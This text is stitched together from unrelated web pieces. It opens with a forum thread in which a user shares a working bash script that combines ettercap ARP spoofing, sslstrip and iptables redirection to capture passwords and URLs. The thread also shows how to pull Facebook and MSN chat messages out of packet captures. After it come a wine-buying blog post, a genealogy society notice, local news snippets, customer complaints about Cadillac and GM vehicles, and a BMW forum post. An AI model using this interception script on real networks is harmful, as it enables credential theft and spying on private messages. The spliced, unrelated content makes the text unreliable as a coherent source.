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looks nice but why not use wireshark instead?
UPDATED SCRIPT 27/4 - added tcpxtract
UPDATE: How to find facebook chat messages...
I got very tired of writing commands endlessly while pentesting my network. So i started writing script for anything i do. This script is the one i use mostly.
Im still very new at Backtrack/Linux, but this script really works for me, and im sure other beginners out there can put it to good use as well.
First of all, make sure your etter.conf is default. Your etter.conf is located at /etc/etter.conf - this section must remain commented out:
This is because i use ettercap to do the arpspoofing, but i dont want it to do the fake certificate thing (we have sslstrip to do the job).Code:# if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Save this code to a new text file and save as anything.sh (make sure to chmod to execute, right click->properties->permissions->check "is executable")
Its pretty forward...Code:#!/bin/bash echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK " read -e NOYES echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK " read -e XTRACT echo -n "What interface to use? ie wlan0: " read -e IFACE echo -n "Name of "Session"? (name of the folder that will be created with all the log files): " read -e SESSION echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: " read -e ROUTER echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: " read -e VICTIM mkdir /root/$SESSION/ iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain sslstrip -p -k -w /root/$SESSION/$SESSION.log & iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt & ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/ "$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap "$NOYES"wireshark & killall sslstrip killall python killall urlsnarf iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain etterlog -p -i /root/$SESSION/$SESSION.eci
This script will execute sslstrip+log file, urlsnarf (dumping all the urls to a txt file), ettercap with arpspoofing+log files (with the passwords)+pcap file (for further analyze). all the files are put in the same folder, with identical filenames (of course with different extensions).
Furthermore when quitting the script (and ettercap) properly with the key "q", the script will clean up after itself (shutting down sslstrip,urlsnarf and flushing iptables). At last it automatically reads out passwords from the ettercap logfile (.eci) and runs wireshark for further analyze.
TIP: For me the easiest way to dump pictures from a pcap file (which the script generates), is by using NetworkMiner for windows. It runs smooth via wine, if you tweak it a bit like this tutorial shows: hxxp://geek00l.blogspot.com/2008/12/drunken-monkey-running-network-miner.html
Finding msn chat is easy. There are many EXPRESSIONS in wireshark, one has the name "MSNMS". If you apply that, it'll show you the messages.
Finding facebook chat is a bit more complicated. There are no EXPRESSION or filter to use. BUT i found out:
CTRL+F brings you the search packet command. search for: /ajax/chat/send.php
ATTENTION: in the search box, check the box that searches by "string" and in search in: Packet List.
That will give you the packets with the sent messages. When you select the packet, scroll down to the button and expand the "Line-based text data:"
There you'll have the message if you look carefully.
Its not that elegant...
I have not tested this with getting a message back. But that should be fairly easy and almost the same. You can always start the sniffer, send a message or receive a message and then stop sniffing. Then open the pcap in wireshark and look at the packets. Identify the one with the received message and find a way to search for such packet in the future.
Feel free to ask any questions.
Teddy Strand
Last edited by tedbear; 04-27-2010 at 09:46 PM. Reason: updating script...
looks nice but why not use wireshark instead?
For me, wireshark is far more advance and time consuming. I use wireshark to filter out other stuff, such as facebook chat messages, msn messenger etc.
Wireshark is also capable of showing these passwords, but i find the etterlog or the sslstrip log more fast. That being said, i still have much to learn about wireshark
hi tedbear,
thanks for the script. I know the feeling of being tired of writing commands endlessly...:->
I have a question though,
In your script you specify iptables redirection to port 10000, but I don't see where you start listening for that port. Do I assume that you are already running an instance of sslstrip that listens to port 10000?
Also, I have a general question for this sniffing strategy. Perhaps someone will be kind and answer .
What if someone is running their web server on a different SSL port, say 8443...
So for this technique to work properly, do we specify the prerouting dst port to be 8443?
thanks in advance
tedbear, please ignore my question about port 10000 in my previous post (well if moderators post it soon enough). I read more about sslstrip and figured it out that its a default port it listens on...duh..
But I have another question though, a bit offtopic, but about the topic.
The attack you scripted above, as I understand (please correct me if I am wrong) works for the scenario below:
Victim --- MITM --- Gateway
Say if this passive attack is successful, then say (ie gmail) credentials of a user of host Victim will be logged in MITM host in clear text.
However, what about this scenario, is it doable? :
Victim ---- Gateway ---- MITM ---- Webserver (serves website via SSL).
Hope someone can answer... haven't tried it yet. Just want to see what people think...
I am new to this forum, and I see that posts need moderators approval... hopefully, my question will be posted.
Last edited by Archangel-Amael; 04-24-2010 at 07:24 AM.
As far as i know, the victim will never enter the ssl website at that port or any other port. Sslstrip "strips" the "s" of the https. So for this attack to work, the website visited by the victim has to support both http and https. Ie, visiting gmail connects to their https site, but with sslstrip activatted, victim gets "redirected" or "stripped" to http instead.
Not sure whether im explaining it so its understandable?
I believe that for the scenario,
Victim --- MITM --- Gateway
,when the victim goes to an https site, the website sends the user a certificate. The MITM intercepts that certificate and then sends the victim a fake certificate with a known encryption key. The victim sends the MITM the encrypted credentials which the MITM can decrypt since he sent the fake certificate to them with a known key. Once decrypted, the MITM encrypts the credentials with the real certificate key and sends it along to the website.
Also, for the scenario
Victim ---- Gateway ---- MITM ---- Webserver
I'm assuming you're talking about a basic NAT situation with a dhcp router or something in a home. In this case, a MITM attack will not work. A MITM attack is based on the ARP protocol, which is only used in LAN's. Read up on basic networking if you are unfamiliar with this.
thanks for your replies.
however, i am not talking about basic NAT situation, or a home LAN.
Let me add clarity:
Assume hypothetical situation. There is a webserver, router (use cisco for this example), and a victim (or victims). Say an adversary is able to do MITM attack between the Webserver and the default router the server talks to. (that is: MITM host is on that vlan, assume ARP poisoning is possible)
Router <-----> MITM (host) <------> Webserver
Where: Router (downstream net interface), MITM host, Webserver are all in the same subnet. Now to add more roadblocks to this scenario, lets assume the Webserver only provides its services (ie web mail) via SSL.
so, if at all possible, given the tools used in scenario 1, how would the attack tactic, strategy change for the latter situation.
Disclaimer: The example and the scenario provided above is hypothetical only. The question is asked for educational purposes only. Any information, suggestion, or input provided to answer the question above will NOT be used to perform any illegal activity.
After playing around a bit, I realized that the situation is trivial for the scenario 2.
All you need to do is to switch "places" . I hope that makes sense...
I tested it, works perfectly.
But, can anybody answer this stupid question:
How to get the deciphered version of the Digest Authorization password???
Last edited by iz3us; 04-26-2010 at 08:43 PM. Reason: disclaimer
Thanks for nice script!
But how should i use sslstrip with a proxy server?
nice script! i tested this on my own network and tried sniffing my own gmail info. in the pcap file i was able to see https packets but how where can i find the email/pw? >_< thanks.
You shouldn't see any https packets. That means somethings gone wrong. sslstrip "strips" the https: meaning that fx when entering gmail, it will go to http://gmail.com and not https://gmail.com <-- which is encrypted. Do you understand?
My guess is, that the arp poisoning went wrong. Try it again


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It's said that good things come in small packages.
And that can apply to wine as well.
Perhaps when it comes to wine, it might be more accurate to say convenient things come in small packages. Or that the small packages are convenient. And really, both of those observations are true. Let me explain.
Have you ever found yourself in a situation where you'd just like one — only one — more glass of wine, but the bottle, or bottles, are empty? You might be on your own, or it might be at the end of a dinner party and you're the only person craving that last glass to finish off the night. And even though you might have a handy-dandy gizmo like the fabulous VacuVin, which sucks oxygen out of opened bottles of wine and preserves what remains for an extra few days, it just seems silly or indulgent or extravagant to open a whole bottle just for a single glass.
I've found the solution.
Mini bottles.
These have certainly been around for ages, but every day, there seem to be more and more of them available. And they're really, really handy to have on hand for situations like the ones mentioned above.
I've even turned to the mini bottles when I've found myself staying at a hotel in Winnipeg, with plans to meet friends for dinner in an hour or so. Sure, I could go down to the hotel lounge or bar, but prices in those locales are often what I consider exorbitant, and in many cases, the wine is so-so at best.
So in that scenario, I'd pay more than I want for wine I didn't really like, I'd pay tax on what are already hopped-up prices, then I'd tip someone to BRING me the so-so wine at the inflated price!
And I really quite enjoy staying in hotels, as long as they're quiet and reasonably appointed. So I'd be most content to stay in my room, have a glass of something I like that I bought at Liquor Mart prices, and relax in my own private space.
Since opening a full bottle, even to share with my husband, is still WAY too much before going out for dinner where we're likely to (oh come on! Who am I kidding? Of COURSE we're going to) have more wine, the mini bottles are particularly handy in that situation. And again, they're a great solution to the "I just want one more glass" scenarios I mentioned a few paragraphs back.
Most of the smaller bottles are not high-end wine, unless, of course, you go for something spectacular like real Champagne — for example, the Moet & Chandon Imperial Brut 200 ml bottle that sells for $21.19 (the 750 ml bottle is $61.18). But there are some fairly tasty ones out there.
And since a glass of bubbly, at least in my opinion, is great either as an aperitif or an end-of-night beverage, here are some that are worth trying (or are at least available!).
My favourite of all the mini bottles is the Freixenet Cordon Negro Brut Cava, which is $4.29 for a 200 ml bottle. A 750 ml bottle bottle of the same sells for $14.29, but it's no surprise that with the extra packaging required, the mini bottles are going to cost a bit more. But the Cordon Negro Brut is refreshing, flavourful and surprisingly robust for the price. Sadly, it's frequently overlooked by those in search of a decent bubbly, but perhaps by giving a mini bottle of it a shot, people will discover that it's a bargain for the price, and go for the bigger bottle when the circumstances are appropriate.
I also like the appearance of the Freixenet minis — they look like real bubbly bottles with twist off corks that make the bottles reusable. So because they can be washed and used to store bubbly for the next time (at least for a short time), they're an even better value in my eyes. And let's face it — I think they're cute, too!
I first tried the Henkell Trocken Fine Sekt in Victoria last year, when I went to visit my mother who was wintering there for a couple of months. She had some to welcome me, and knowing that I was arriving late at night, she thought it best not to have a full bottle for us to share just before hitting the sack.
So on spec, she picked up the tiny Henkell Trockens, which come in a three-pack of 200 ml bottles for $10.99. Although definitely off-dry, this was still a very pleasant beverage, and I felt welcomed and spoiled at the same time.
For those who like strawberries and who enjoy their sparklers a whole lot sweeter, a 200 ml container of the Fresita Vina Casal de Gorchs from Chile will set you back $3.99.
And for people who prefer table wine — non-sparkling wine — Billy Rock Station provides just that. Cans that contain 250 mls of Pinot Grigio, Merlot or Shiraz from Australia sell for $3.19 each. And while they're a smidge on the sweet side, they certainly serve the purpose of a quick, no-waste, more-than-generous glass to suit whatever purpose you need them for.
While I can vouch for the aforementioned wines as described, there are several others I haven't tried that would be likely to please a variety of tastes. If they do, terrific. If they don't, well, you've only spent $3 or $4, and you'll know if you want to do so on those particular brands again.
And if you're uncertain as to whether what you're looking at is dry, sweet, sparkling, or flat, be sure to check with the always-helpful Liquor Mart staff, who'll be able to help you pick the mini bottle that's just right for you.


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The Pocahontas Chapter, National Society Daughters of the American Colonists, recently presented four of the Society's lineage books to the Library of Virginia in memory of past Chapter Regent Mary Leigh Boisseau. Boisseau, who died earlier this year, was a genealogist, author, and active volunteer supporting veterans and active duty military throughout Virginia. She was serving as chapter registrar and Virginia State First Vice Regent at the time of her death.
Library of Virginia Collections Management Coordinator Tom Ray accepted the books at the chapter's Sept. 13 meeting from Chapter Librarian Betty Camp.
The Pocahontas Chapter, with 30 members, is one of nine chapters in Virginia. The Chapter's members are female descendants of an ancestor who rendered civil or military service in any of the colonies prior to July 4, 1776. The Pocahontas Chapter meets four times a year in Henrico County. For details, visit http://www.rootsweb.ancestry.com/~vapcdac.
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Kansas man struck, killed while crossing West Broad Street
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A 54-year-old Kansas man was struck and killed by a car while attempting to cross West Broad Street near Bethlehem Road in the Near West End at about 10:30 p.m., July 19.
Julius A. McBride of Overland Park, Kansas, was struck by a car traveling east on West Broad Street. > Read more.
Julius A. McBride of Overland Park, Kansas, was struck by a car traveling east on West Broad Street. > Read more.
Henrico Police warn citizens to 'Take it, Lock it or Lose it'
By Ashley Luck, Special to the Citizen 07/20/2017 General NewsPublic Safety
Eastern parts of Henrico County have witnessed a recent increase in larceny from automobiles, so Henrico Police officials are spreading the word to encourage citizens to lock their vehicles.
Police are handing out and posting fliers and putting message boards in neighborhoods to educate residents.
There usually is a rise of larceny from automobiles during Christmas, spring and summer break, said Henrico Police Officer James Bupp. > Read more.
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GM has not yet understood that customer satisfaction is primarily determined by cost of ownership. That is, the purchase price plus repair cost over a reasonable lifetime. The cost of ownership of this Cadillac is substantially higher than the purchase price after only 60,000 miles of normal use. The blower unit went out after 21,000 miles.
The plastic top of the dashboard separated from its glue and curled up after 40,000 miles. An electric window went out after 52,000 miles. Both left and right coils went out after 56,000 miles and a leaky water pump had to be replaced after 58,000 miles. The knee bolster under the steering column no longer stays on because all of the clip mounts that hold it in place have been broken by dealer mechanics.
It appears that GM has been caught up in "the sell the product at a loss and make money on the after sales parts" conundrum. Similar to selling ink jet printers below cost to make money selling expensive ink cartridges. When little or no money is made selling the car then the profit must come from selling parts at inflated prices. For example, when the cable that opens and closes the window breaks the entire window sub-assembly must be replaced at a cost of several hundred dollars. The cable that costs a few dollars cannot be replaced.
It is understood why sub-assemblies are replaced instead of individual parts because the number of parts required in inventory is significantly reduced. The problem is that reducing inventory cost by reducing parts with sub-assemblies is that the consumer pays much more for repair and the cost of ownership skyrockets.
The service manager noted during the service review that they often service broken window cables so why does this problem persist? If a multi-hundred dollar sub-assembly must be replaced for a simple cable then shouldn't the cable problem be corrected? Or is it too profitable to sell an entire sub-assembly for a few hundred dollars caused by a broken cable that costs a few dollars? What happens to the sub-assembly that is replaced? Is it rebuilt with a new cable, returned to inventory and resold?
Another example is that the clip mounts used to hold on interior trim appears to be designed to break when the trim is removed. Each time a dealer mechanic removed the knee bolster for service they broke one or more clip mounts. Now there is only one clip barely holding the knee bolster on. The clips are not broken. The posts where the clips are mounted are broken.
Because the posts are part of the knee bolster then the entire knee bolster must be replaced at a couple of hundred dollars because of a few broken plastic mounts. Wouldn't a little more plastic to make stronger mounts make more sense than having to replace an entire part after being removed 3 or 4 times? Or is it more profitable to sell the entire part for a couple of hundred dollars?
Relying on after sales parts and service for profitability is an indicator of a dying company. When a company cannot make profit from selling the product then surviving on after sales parts and service is only a temporary reprieve from failure. Eventually, the higher cost of ownership drives away customers so there is less product sold and less product to service. GM should stop selling inferior cars at a loss and relying on parts and service for profit and begin selling quality cars at a profit that require less service and lower the cost of ownership that increases the value of the car which in turn increases price and profitability.
FALMOUTH, MASSACHUSETTS -- I have to ask anyone and everyone that has owned a Cadillac Escalade or any GMC vehicle if they think that their vehicle is a luxurious "accident waiting to happen." I bought the vehicle Dec 17, 2003 and it was an 02. I felt like a million bucks leaving the dealership. I had a smile that went from ear to ear and an energy that said, "I love life"- until seven months later. I had complained about a malfunction of the brakes. It felt as though the ABS was engaging. I don't know if you can remember the sound an old ten speed bike used to make when you switch gears. The vibration and sound is what occurred when I would apply my foot to the brake.
At the time of my first complaint, I felt a delay and heard a sound when I applied the brakes. My truck did not come to a complete stop. It kept going. The dealership stated it was my tires. Obviously both GMC and its certified dealerships have not "FIXED" the problem so the issue has only gotten worse. I am afraid to drive it-its sitting pretty in the driveway. Here is a list of the history of the "Spontaneous acceleration." That's right my truck actually accelerates when you apply the brakes!!
June 30, 2004 - I had complained of the issues with my vehicle stopping. The dealership "fixed" the problem by putting on 4 brand new tires. However did not describe "why" I was there in their "reasons" for diagnosing the tires being replaced .Therefore GMC is stating that the issues didn't actually occur or were not due to faulty/malfunctioning braking system. Why should I be responsible for their documentation when I go in for service? Why would anyone have a second thought when someone who is "certified" is paid to diagnose and "fix" a problem?
June 15, 2005 - I had the same braking issues and complained again to the certified dealership. They "fixed" the issue and replaced the rear brake pads, rotors and rear brake shoes. June 16, 2006 - Same issues/complaints of brake malfunction. Certified dealership "fixed" the issue by replacing the front brake pads, resurfaced all four brake rotors. June 22, 2006 - Complained about braking issue. The certified dealership "fixed" the problem by replacing the Hub Bearing, replaced both ABS sensors and both bearings. My vehicle had 75, 000 miles on it at the time and was still under the certified "preloved" warranty.
March 19, 2008 - Complained to GMC about the inability to stop since the warranty expired. Another certified dealership "fixed" the braking complaint with ANOTHER Hub bearing replacement. HHMM can you say HUB BEARING (I am guessing the part is defective). September 18,2008 - Spoke with the GMC representative which is like speaking to a well scripted robot who is trained to deflect blame and/or responsibility. After describing the issues of NOT being able to STOP and the malfunctioning of the vehicle where it accelerates, the GMC representative asked again, "So when do you have this issue?"
I said the following: "Have you been listening at all to what I have said? Putting your foot on the brake should be a lot like blinking-we shouldn't have to think about it. When was the last time you had to worry if you stepped on the brake that your vehicle will plow into the driver in front of you?" The GMC representative said, "I don't - So why don't you want to drive it to get diagnosed?" Get the picture? GMC and their customer service sucks.
I was told in the very beginning that if I took my vehicle anywhere else other than a GMC certified technician or dealership-the warranty coverage for any issues would be at risk. Also the system that they used to diagnose is
computerized. So if the computer doesn't say there is an issue-they meaning the GMC certified technicians assume there is "no issue". When I called GMC in March of 2008 they were more interested in my next GMC purchase than what I was trying to complain about? Like I would EVER buy another GMC piece of ***.
GMC kept reminding me that regardless of the number of attempts I have made to fix this ongoing issue with my brake malfunction and the money that I have spent (time away from work, rental cars). They won't take responsibility for a vehicle that is no longer under warranty, a vehicle that is 6yrs old and 105k miles.
I have been a responsible owner and have been diligent in the maintenance of it. The brakes are only one issue I have had with this truck. New radiator, new transmission, new ride control and another four tires when the Hub bearing was replaced the second time. Issues with the oil (lots of changes-not consistent with 2000 miles). Companies like GMC hope that consumer complaints will fade away into the backdrop when the consumer gets so frustrated and "give up". I am not one of those people.
Here is a list of some of their excuses:
* "It could have been a fluke."
* "It could have been your driving."
* "You know that's common at slow speeds." - My response is this: "So when I hit a pedestrian should I tell them that too?"
* "We are not familiar with that issue with spontaneous/unexpected acceleration."
* "You should warm up the vehicle before you drive less than 10 miles an hour."
* "The sound is your muffler."
* "There is no issue with the braking system. We have not been able to duplicate your complaints, so there is nothing wrong."
* "The resistance to brake could be the way you are applying your foot to the brake pedal." - WHAT????!!!
My favorite response from GMC: "I am so sorry you feel that way, I wish there is something we could do but it's not covered under warranty anymore. Your vehicle was not on the recall list. Yes the year and make was but "your" vehicle was not on the list for the recall." When did vehicles have social security numbers?
After my ordeal with GMC and the performance issues with my Escalade I am a firm believer that Fred Flintstone probably had a GMC and was the only one that was happy with their product. You see Fred Flintstone didn't care about brakes, airbags, steering issues, seat belts, windshield wipers that could cause a fire, his car exploding, stalling on a highway... These are some of the many issues the public is raving about on the web regarding GMC vehicles and the safety issues that occur with all makes and models belonging to GMC.
I have filed a complaint with NHTSA and have contacted several newspapers and consumer advocates. Only one person actually helped a little. A consumer reporter from NBC placed a call to GMC and now I have to deal with "The Executive office". When I asked the GMC representative what her title was she said, "Executive office". I can only assume that she is not someone that can help, just another line of defense to make the a disappointed consumer "go away quietly".
I have done so much searching on the web. The public outcry against GMC is overwhelming. SAFETY is not a priority GMC considers as important as the expensive crap it puts out for unknowing consumers. God help us all when they put out their electric car in 2010. Yippeee another disaster. Hopefully they will go bankrupt before they put out yet another vehicle with safety issues.
All I want is for GMC to pay me the book value of my truck so that I can buy another vehicle that is not GMC (They won't even pay for a tow to get my vehicle diagnosed.) It's no wonder that Americans are buying more foreign vehicles and GMC sales are not what they used to be. It is hard for me to deal with the fact as a consumer that I spent $53,109.00 for the certified pre-loved vehicle prior to all the money I have spent in getting the brakes to operate properly.
Now if you read this entire ordeal you would see my frustration. It is a bit long, so here is a summary of problems. A dealership not paying attention to its customer or their car issues. Being stuck 300 miles from home due to that lack of attention. Not being able to locate my vehicle for 15.5 hours after being towed. Told to pay for a problem that was never fixed the first time. Having 3 different people at GMPP say that my deductible has been waived. Being told by the dealership, they won't release the car without paying the deductible. After speaking to 1 person at GMPP. Having to get money back that should never have been paid.
On 1/27/2010 I brought my Cadillac Escalade EXT (65,000 miles) to Avenue Chevrolet in Batavia, Illinois. My truck had several issues, but the main reason for going to the dealership was the vehicle stalling between first and second gear shifts. I explained to the service desk what the issues were. He didn't seem to fully listen to my complaints, but said it would all be taken care of. He failed to write down that the gauges would stick. Especially the speedometer.
I returned to the dealership on 2/1/2010. I pay my $200 deductible, but talking to the mechanic he said they could not get the vehicle to stall out. I was told to drive it and bring the vehicle back if the problem persists. I left the shop and drove away(approx. 2 miles). It stalled twice. The mechanic hooked the diagnostics to the vehicle and there were no codes. I was again told to drive it around and if it comes back, to let them know.
Again, I left the dealership, and it stalled. There were three additional stalls bringing it back to the dealership. I recorded two times on video via my phone. The mechanic took the truck back. The next day I was told the truck is fine. A dirty speed sensor was to blame my problems.
On 2/16/10, my speedometer stuck and began to malfunction. When I brought it back to Avenue Chevrolet, service said I never complained about this issue and that wouldn't be covered. After speaking with GMPP and service, they took the truck back and replaced the instrument cluster.
Fast forward to 3/9/2010. I am in Detroit, Michigan when my truck stalls between first gear and second gear. After the vehicle stalled, it would not shift into fourth gear. I call GM to have my vehicle towed to the closest dealership, Les Stanford in Dearborn, MI. The vehicle was towed by Metro Sales & Service, Inc at 7:30 PM EST. I was told to contact Les Stanford the next morning. Now, I am in Detroit, Michigan, 300 miles away from home without my car. The car that was said to be fixed, but has the same problems after being "fixed." I was able to get home borrowing a car.
I called the dealer on 3/10/10 at 9:10 AM EST to find out that, "...The vehicle is not at our dealership, we don't know where it is." I called Metro Sales & Service immediately. The operator says they can not get in contact with their tow agent and that he seems to have his phone turned off. I finally receive a call from the dealership at 10:53 AM EST saying that my vehicle just then arrived. So where was my truck between 7:30 PM to 10:53 AM EST the next day? Nobody would tell me what happened.
Now I am working with **, the Cadillac Service Manager. They have truck for about a week and a half. When he calls to tell me that the truck is done. They had to install a new regulator for first and second gear. (What should have been done the first time!) I am again to pay another $200 for the warranty deductible.
I contacted ** at General Motors Protection Plan (GMPP) on 3/22/10 and explain the situation. Truck continues to stall even after it was "fixed." He tells me that his paperwork doesn't state transmission issues were ever documented. I explain that transmission issues were the real reason why I even went to the dealership. ** tells me that he can waive the warranty deductible, but I need to fax him my invoice from the first dealership.
I faxed it on 3/23/10. I called ** at Les Stanford on 3/25/10 to verify that he received the information from GMPP regarding my deductible. He said no. I called GMPP immediately and spoke with **. He said I was to have the dealer call their 800 number and give them my claim number. GMPP was to explain to the dealer that my deductible was indeed waived.
I called the dealer on 3/26/10 and left a message with instructions. Also, that the car would be picked up on 3/29/10. If there were any problems, CALL ME ASAP. I have the car picked up on 3/29/10 and get a call from **. He states that he spoke with GMPP saying that the deductible was NEVER waived. The car would not be released without paying the deductible in full. I had friends doing me a HUGE favor and getting my vehicle for me. I said I'll just pay it and deal with GMPP. So I proceed with payment and the car is picked up.
Again, I call GMPP right after, and speak with **. ** states that AGAIN that the deductible was waived and that whoever spoke to the dealer didn't read everything. ** said that below this claim with Les Stanford, it clearly said the deductible was WAIVED. ** then explains how I can get my deductible back from GMPP. I WILL NEVER BUY ANOTHER GM PRODUCT FOR AS LONG AS I LIVE. At 27, I have many years of driving and car buying. My next car is coming from anyone else other that General Motors.
DETROIT, MICHIGAN -- I am 75 years old female and a 30 years driver of Cadillacs. The only auto I have own in my adult life and want buy anything else. I have invested thousands and thousands of dollars on new and a few pre-sales since 1981. They have been reliable, dependable, well kept, and very beautiful. In 2007 it was time to trade my 1999 Brougham that I purchased new and it was over $50,000 that I paid in full for that auto but it was having some problems. This auto had almost 100,000 miles on it so I was encouraged by the dealer not to pay over $ 2,000 for repairs but to trade.
I am always ready to buy another Cadillac and they knew it doesn't take much to convince me to trade and I had bought several from this dealer. However, this time I bought a LEMON and I am shock. All the major repairs and more is needed on this auto. When I was shown this car it was beautiful, a 2003, 43,000 miles, my favorite color Pearl, gold rims, gold decors, beautiful inside and out. This was in 2007 and the auto only 4 years old. I thought this was a very good buy and I was please. I only got less than two years in warranty and when the warranty had expired so the dealer said all HELL BROKE OUT.
As I stated above the service was frequently everything went wrong. I couldn't believe what was happening to an auto that look so good and not many miles and I am the only driver and doesn't drive that often. A safe driving record, live in a very small town, and don't drive much but go to my doctors in Savannah 35 miles away. I am retired, handicapped, can't walk much so I have to have my car to get around and I can drive with no pain but can't walk. I had to get GM EXECUTIVE OFFICE TO COMPLAIN TO AND SEE IF THEY would pay for all these problems. I believe this is factory problems.
They helped a little and I still need more. I am afraid they wont help anymore. I have 77,000 miles now on this auto. Window washer not working I have to take the fuse out when I drive and put it in if it begin to rain. I told GM I am not rich live on a fixed income, can't work and don't have thousand of dollars to pay for all these problems I didn't do. I just got a very bad deal and still need help. My blood pressure stay up, I am a diabetic, so many health problems. I have given them over these years now I BELIEVE IT'S THEIR TIME TO DO THE RIGHT THING.
DETROIT, MICHIGAN -- I have a 2008 Cadillac CTS with 24,000 miles on it that I bought brand new. I first want to say I love the looks and handling of the car - when it isn't in the repair shop for major repairs. This past December, the entire computer system went out. After taking it to the dealer, I was told by the service tech, "Yea, we've seen this before. GM used a cheap plastic clip to secure the entire electrical wiring harness and the clips tend to break in cold weather causing the wiring harness to get sliced and chopped by the fan". The entire wiring harness was replaced.
Then, on April 15, the check engine light came on. I immediately took the car to my local Cadillac dealer. They ran the diagnostics and stated there were two major problems with my car. First, the timing chain/belt was stretched (common problem with the 2008 CTS, the dealer told me). Second, the cam and crank shaft would need to be repaired/replaced, and their service department was short-handed and I would have to take the car to the selling dealer, some 25 miles away.
The service tech also stated "we've seen almost a dozen CTSs with the same problem" in a "business as usual" type of attitude. He also said this was a major repair requiring engine removal. As I am writing this, the car is at the selling dealer waiting for parts from GM (I only hope the dealer gets them before GM goes belly up...)
There is something amiss when GM's flagship car line is this unreliable. The selling dealer has been cordial and provided a loner car, but that does not cover the monthly note I must still pay even though I can't use the vehicle. And if I had to endure two major repairs on a $50,000 car with only 24,000 miles on it, what may I look forward to when the car has 34,000, 44,000 and 54,000 miles on it?
This is my first and LAST Cadillac. I always try to support American automobiles companies but with GM's lack of attention to reliability on their flagship car line (never mind their other car lines), I suppose they are going to get what they deserve when the bankruptcy gavel falls on them, and after getting burned with the CTS, I will shed no tears.
I also have a 1998 Lincoln Nagivator with almost 200,000 miles on it and a 2004 Lincoln LS with 140,000 miles on it. Neither of these vehicles have EVER had a major repair and both still operate well today. Good bye GM. May you get what you deserve. Ford, I'm, sorry I left you but I'll be back to see you about a new vehicle just as soon as the CTS piece of crap is fixed.
COLUMBUS, GEORGIA -- March 30, 2008. My name is ** and I am from Eufaula, Alabama. On October 2007 I purchased a 2007 Cadillac Escalade which I have always heard and thought it was everyone's dream car! But it has turned out to be my biggest nightmare and no one seems to care! I have been purchasing GM Vehicles for the past 20 years. And in the last 15, I have bought once a year every year! I bought this vehicle and I have had problems with it from day one, and who gives a dang! Certainly not the dealership nor this corporation....You got your $68,000.00. Who cares that it is in the shop every month....
The wind noise from the driver's window and sunroof sound as if you are driving down the interstate at 70 miles per hours with the windows down! All I hear from the service is "it is the aerodynamics of the car" or "we hear the noise but don't know what to do to fix it"! Well for that amount of money I shouldn't hear a noise at all. I have had to replace the molding around the windows, the passenger's door handle, passenger's mirror, hub caps, windshield washer sensors, cluster sensors, you name it. And I don't have but 7100 miles on this car.
The dealership (Columbus, Ga) has never once offered to help me out. They never sent the referral fee to the person who referred me. Now they will be happy to trade me out of my car for another. But, of course, that are $10,000.00 more than mine, and with a down payment they could help me get out of this. I sure they would. I put 17,000.00 cash on this and there were rebates. Not to mention I traded a paid off car in also.
I just want someone to help me with my problem. When I filled out the survey online and complained, I had no response! I mailed 2 surveys in with complaints on them and I have heard from no one. Feel free to contact me at ** anytime.
I bought a Cadillac STS and thought I was getting a quality product, backed up by a quality organization - I was wrong on both accounts. At 40k miles my STS Northstar engine began burning oil - lots of it. Not a leak anywhere. Not a drop on the garage floor. At 42k miles the oil consumption reached a level of 1 Qt for every 700 miles.
I took it to the local dealer, only to be told that they would not repair an engine that was "normal". I said, "You have to be kidding. I have never had an engine that consumed a QT of oil every 700 miles and it was considered 'normal'. This is the equivalent of adding a GALLON OF OIL between 3500 mile oil changes." The service mgr took me to his office, pulled out a service bulletin that read: "unless your Northstar engine consumes oil at the rate of 1 Qt per 500 miles or less; it is considered normal". Totally unacceptable. I will NEVER BY A GM PRODUCT OF ANY SORT EVER AGAIN.
MOULTRIE, GEORGIA -- The cable wire for the power windows in our 2003 Cadillac Deville has broken on all four windows. They cost almost $400.00 each. They have been breaking for years. We are told that we must roll the windows down every week for the lifetime of the car, or this will keep happening, which it has. Over and over again, these cables keep breaking. GM was aware of this problem back in 2005 and changed the material from stainless steel to a galvanized wire because the stainless was becoming oxidized and fragile. They expect this 86 year old elderly man who can only walk very short distances to go to his car and roll the windows down every week to prevent this problem.
My sister (had) a 2004 Cadillac that had the same problem and she was having to replace the cables twice a year. Another friend with a Buick is having the same problem. My husband is a WWII vet who served on the USS Hornet and was at the battle of Okinawa. This is how our elderly are treated by big business. He has used GM vehicles most of his life and should not have to go buy another car at 86 years of age when this car only has 50,000 miles on it. But he can't afford to be buying $400.00 cable wires every 2 years.
DETROIT, MICHIGAN -- I own a 2008 Cadillac DTS Platinum Series. It's listed as a $2,000.00 item. However, I also own a TomTom GPS that cost me $200.00. The TomTom is so much superior to the Cadillac GPS. Hundreds of more features - better routing choices - just, overall, it makes the Cadillac GPS seem like a cheap knockoff. I would think that Cadillac would have a GPS that is at least equal to those manufactured by TomTom and other GPS makers. I will not purchase another Cadillac unless there are improvements in the GPS. Storage space in my Cadillac is also lacking. Glove box is very small and inadequate. Runs and rides great but small things mean a lot.
ROCKY MOUNT, NORTH CAROLINA -- My CTS has had brake problems for the last 500 miles. It has a total of 3500 miles. After taking it to Don Bulluck (the Cadillac dealer in Rocky Mount, NC) to be serviced and repaired on 12/30/08 I was told that parts would have to be ordered. On 1/12/09 I called the dealer to find out what the problem was. I was told by the service representative that GM did not have the parts needed and they were trying to locate them. A new car mind you and GM does not have the needed parts. HOLD THE BAIL OUT MONEY.


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Hi all,
I am new to the forum and have never owned a BMW, however its the car that I have always wanted. I currently have a RAV4 V6. I am not a BMW enthusiast but I would love to own the car. For me owning a BMW means status and making a statement. I have never driven a BMW, but from what I hear its like nothing else.
So now I am doing my research, first if I can afford it, and how to get a good deal.
You guys are all experts here and so I look to you to give me some guidance.
